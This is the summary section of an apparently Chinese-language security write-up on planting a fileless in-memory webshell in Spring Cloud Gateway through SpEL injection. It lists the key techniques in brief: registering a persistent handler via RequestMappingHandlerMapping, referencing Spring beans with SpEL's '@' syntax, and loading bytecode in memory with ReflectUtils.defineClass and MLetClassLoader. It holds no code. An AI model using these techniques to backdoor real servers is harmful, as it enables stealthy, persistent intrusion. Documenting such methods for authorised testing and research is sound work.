总结
本次实战的核心收获:
-
SpEL一次性执行 ≠ 内存马。 真正的内存马需要通过
registerHandlerMethod在Spring容器中注册持久化端点。 -
Spring Cloud Gateway基于WebFlux/Netty ,传统Servlet/Filter/JSP型内存马不适用,需要使用
RequestMappingHandlerMapping方式注入。 -
SpEL的
@语法是关键。@requestMappingHandlerMapping直接从Spring容器获取Bean引用,免去了复杂的反射获取ApplicationContext的过程。 -
ReflectUtils.defineClass+MLetClassLoader 实现了不落地加载class字节码,整个过程纯内存操作
本文仅用于授权安全测试与学习研究,请勿用于非法用途。